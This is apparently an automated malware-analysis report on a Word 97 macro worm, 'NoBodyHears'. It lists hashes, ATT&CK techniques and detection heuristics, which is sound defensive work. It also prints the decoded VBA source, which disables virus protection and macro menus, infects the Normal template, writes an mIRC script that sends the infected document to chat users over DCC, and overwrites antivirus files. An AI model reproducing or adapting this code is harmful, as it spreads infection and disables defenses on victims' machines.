Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cb5e5c9c7d2ada23…

MALICIOUS

Office (OLE)

35.5 KB Created: 2000-12-03 18:59:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: ec359cbb7cb166332ebf3fa46b42be7d SHA-1: 705ee11fd5b58467c94e1647a754469d139def3a SHA-256: cb5e5c9c7d2ada235d658c234b1f4828ee1b5c746164e44a3a4e9debd55af7bc
362 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose functions, which are indicative of older malware. The VBA script attempts to export a component named 'NoBodyHears' to 'C:\VXD.dll' and likely intends to execute it, suggesting a downloader or dropper functionality. The embedded URL is likely part of the payload delivery mechanism.

Heuristics 8

  • ClamAV: Win.Worm.Generic-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Worm.Generic-13
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.avp.com.au/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5550 bytes
SHA-256: f486767a196ddb3da21ce9bbf78a6d37b5bf9f654de888327379a98c74b5222f
Detection
ClamAV: Win.Worm.Generic-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NoBodyHears"
Sub AutoClose()
'******************************************************************
'WM97 NoBodyHears
'By AngelsKitten / [NuKE]
'Greetings to Evul, Knowdeth, Jackie twoflower, Foxz
'Reptile, Duke, Raven, Deloss, Bumblebee, Masey, RAiD,
'FlyShadow, and the following groups: MVT, 29A, NVT & SLAM
'******************************************************************
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("NoBodyHears").Export "C:\VXD.dll"
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With
With Application
    .ScreenUpdating = False
    .DisplayStatusBar = False
    .DisplayAlerts = wdAlertsNone
    .EnableCancelKey = wdCancelDisabled
End With
CommandBars("Tools").Controls("Macro").Enabled = False
CommandBars("Tools").Controls(12).Enabled = False
CommandBars("Tools").Controls(12).Delete
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("view").Controls("Toolbars").Delete
CommandBars("view").Controls("Status Bar").Delete
For ¢ = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(¢).Name = "NoBodyHears" Then ¶ = True
Next ¢
For ¢ = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(¢).Name = "NoBodyHears" Then Ü = True
Next ¢
If Ü = True And ¶ = False Then Set § = NormalTemplate.VBProject _
Else If Ü = False And ¶ = True Then Set § = ActiveDocument.VBProject
§.VBComponents.Import ("C:\VXD.dll")
On Error GoTo scriptoops
Open "C:\audio.vxd" For Output As #1
Print #1, "[script]"
Print #1, "n0=;NobodyHears by Angelskitten / [NuKE]"
Print #1, "n1=on 1:PART:#:{ /if ( $nick == $me ) { halt }"
Print #1, "n2= /dcc send $nick C:\windows\aboutme.doc"
Print #1, "n3=}"
Print #1, "n4="
Print #1, "n5=on 1:JOIN:#:{ /if ( $nick == $me ) { halt }"
Print #1, "n6= /dcc send $nick C:\windows\aboutme.doc"
Print #1, "n7=}"
Print #1, "n8="
Print #1, "n9=on 1:TEXT:*infected*:#:/.ignore $nick"
Print #1, "n10=on 1:TEXT:*infected*:?:/.ignore $nick"
Print #1, "n12=on 1:TEXT:*clean*:#:/.ignore $nick"
Print #1, "n13=on 1:TEXT:*clean*:?:/.ignore $nick"
Print #1, "n14=on 1:TEXT:*script.ini*:#:/.ignore $nick"
Print #1, "n15=on 1:TEXT:*script.ini*:?:/.ignore $nick"
Print #1, "n16=on 1:TEXT:*virus*:#:/.ignore $nick"
Print #1, "n17=on 1:TEXT:*virus*:?:/.ignore $nick"
Print #1, "n18=on 1:TEXT:*worm*:#:/.ignore $nick"
Print #1, "n19=on 1:TEXT:*worm*:?:/.ignore $nick"
Print #1, "n20=on 1:TEXT:*aboutme*:#:/.ignore $nick"
Print #1, "n21=on 1:TEXT:*aboutme*:?:/.ignore $nick"
Print #1, "n22=on 1:TEXT:*aboutme.doc*:#:/.ignore $nick"
Print #1, "n23=on 1:TEXT:*aboutme.doc*:?:/.ignore $nick"
Print #1, "n24=on 1:TEXT:*doc*:#:/.ignore $nick"
Print #1, "n25=on 1:TEXT:*doc*:?:/.ignore $nick"
Print #1, "n26=on 1:TEXT:*blank*:#:/.ignore $nick"
Print #1, "n27=on 1:TEXT:*blank*:?:/.ignore $nick"
Print #1, "n28=ON 1:QUIT:#:/msg $chan I tryed to tell you, I tryed to show you. NoBodyHears"
Print #1, "n29=ON 1:connect: {"
Print #1, "n30=  /run attrib +r +s +h C:\mirc\Script.ini"
Print #1, "n31=}"
Close #1
scriptoops:
On Error GoTo batoops
Open "c:\windows\WinStart.bat" For Output As #2
Print #2, "@Echo Off"
Print #2, "copy /y c:\audio.vxd c:\mirc\script.ini >nul"
Print #2, "copy /y c:\PROGRA~1\MICROS~3\TEMPLA~1\normal.dot c:\windows\aboutme.doc >nul"
Close #2
batoops:
If Day(Now()) = 12 Then
SetAttr "C:\program files\AntiViral Toolkit Pro\*.avc", vbReadOnly
Open "C:\program files\AntiViral Toolkit Pro\*.avc" For Output As #3
Print #3, "NoBodyHears"
Close #3
SetAttr "C:\program files\AntiViral Toolkit Pro\avp.set", vbReadOnly
Open "C:\program files\AntiViral Toolkit
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.